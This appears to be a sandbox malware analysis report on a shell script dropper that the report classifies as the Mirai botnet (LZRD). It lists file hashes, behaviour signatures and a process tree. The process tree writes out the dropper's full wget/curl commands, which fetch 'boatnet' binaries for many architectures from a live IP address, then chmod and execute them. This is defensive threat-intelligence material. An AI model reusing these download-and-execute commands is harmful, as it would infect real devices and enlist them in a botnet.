Analysis
-
max time kernel
95s -
max time network
143s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
17-12-2024 11:18
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240418-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
d7aac5b39f096043750096172ee9a84f
-
SHA1
fde809f81c26db59c148255c0b60176c8971bc0c
-
SHA256
2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5
-
SHA512
77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 741 chmod 780 chmod 798 chmod 803 chmod 823 chmod 843 chmod 735 chmod 863 chmod 869 chmod 857 chmod -
Executes dropped EXE 10 IoCs
ioc pid Process /tmp/WTF 736 WTF /tmp/WTF 742 WTF /tmp/WTF 781 WTF /tmp/WTF 799 WTF /tmp/WTF 804 WTF /tmp/WTF 825 WTF /tmp/WTF 844 WTF /tmp/WTF 858 WTF /tmp/WTF 864 WTF /tmp/WTF 870 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 94.156.33.106 -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral4/files/fstream-1.dat upx behavioral4/files/fstream-4.dat upx behavioral4/files/fstream-8.dat upx -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/850/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/671/cmdline WTF File opened for reading /proc/702/cmdline WTF File opened for reading /proc/860/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/676/cmdline WTF File opened for reading /proc/704/cmdline WTF File opened for reading /proc/847/cmdline WTF File opened for reading /proc/872/cmdline WTF File opened for reading /proc/873/cmdline WTF File opened for reading /proc/849/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/861/cmdline WTF File opened for reading /proc/867/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/710/cmdline WTF File opened for reading /proc/874/cmdline WTF File opened for reading /proc/684/cmdline WTF File opened for reading /proc/703/cmdline WTF File opened for reading /proc/866/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/427/cmdline WTF File opened for reading /proc/668/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/677/cmdline WTF File opened for reading /proc/705/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 738 wget 739 curl 740 cat -
Writes file to tmp directory 19 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm7 wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:705 -
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:708
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:729
-
-
/bin/catcat boatnet.x862⤵PID:734
-
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:735
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:736
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:738
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:739
-
-
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:740
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:742
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:744
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:747
-
-
/bin/catcat boatnet.arc2⤵PID:778
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:780
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:781
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.i4682⤵PID:785
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:795
-
-
/bin/catcat boatnet.i4682⤵PID:797
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:798
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:799
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.i6862⤵PID:800
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:801
-
-
/bin/catcat boatnet.i6862⤵PID:802
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:803
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:804
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.x86_642⤵PID:805
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:812
-
-
/bin/catcat boatnet.x86_642⤵PID:822
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:823
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:825
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:826
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:837
-
-
/bin/catcat boatnet.mpsl2⤵PID:842
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF2⤵
- File and Directory Permissions Modification
PID:843
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:844
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:848
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:849
-
-
/bin/catcat boatnet.arm2⤵PID:856
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:857
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:858
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:860
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:861
-
-
/bin/catcat boatnet.arm52⤵PID:862
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:863
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:864
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:866
-
-
/usr/bin/curlcurl -O http://147.45.124.54/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:867
-
-
/bin/catcat boatnet.arm62⤵PID:868
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:869
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:870
-
-
/usr/bin/wgetwget http://147.45.124.54/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:872
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
23KB
MD53bdca38ef6a4b0c3aba6c2aeb9adf306
SHA16644331553bc4b14d5409e43ca833a246a48f942
SHA256072a76e22e93f371f6110b43b1f270a4f5c2e9dbdc919315ffcd81c5979b202c
SHA5121afafe5654a371e5d472437b26b5a496444f4a057e913e146d01c6c81e4b8c7806cd3bf6ffe51dfffd760a7ec73f8449675d01322ef9a917f233f1a3bfc60863
-
Filesize
105KB
MD51fd8e43cbe5b81848f9cfc60c09d1340
SHA163ab77fb7378f0d6e312f26e844002e80965a494
SHA256317b00ed2023e148d3e740ffc212f5c4adbfce5abe037f6fa1e606dec067d1fa
SHA512322a26c7fb80b858a19a1dfffac7b5a759e33f60c125761750a6bbe22590be817b8194194780a2e3542c05634900c8bb2c3cfbafbdd6e94ddc133e5177ffb9c1
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
26KB
MD58f5404967b32e6ee636ffe931b401cf3
SHA1856eebf0d696bc1d82535ce6c42510d2ab441dde
SHA25649d4618d1fda32e2d3ed214a581b4c2ada51de33797471345b51da252f9462be
SHA5121a52287b2215042fba728a3556be7f3f60e47f6ac2ad99cf9f7f85b8813e22813236f0e91879554a8ae6547d2e59d6a2800c3b3fe613448cb37d14955bf7d2d6
-
Filesize
20KB
MD59acf9fc63b01f4a7a5b33881073ff6a6
SHA1cf5be79ccc477ca582c8aee42898442f8089b886
SHA2560a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9
SHA5121dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5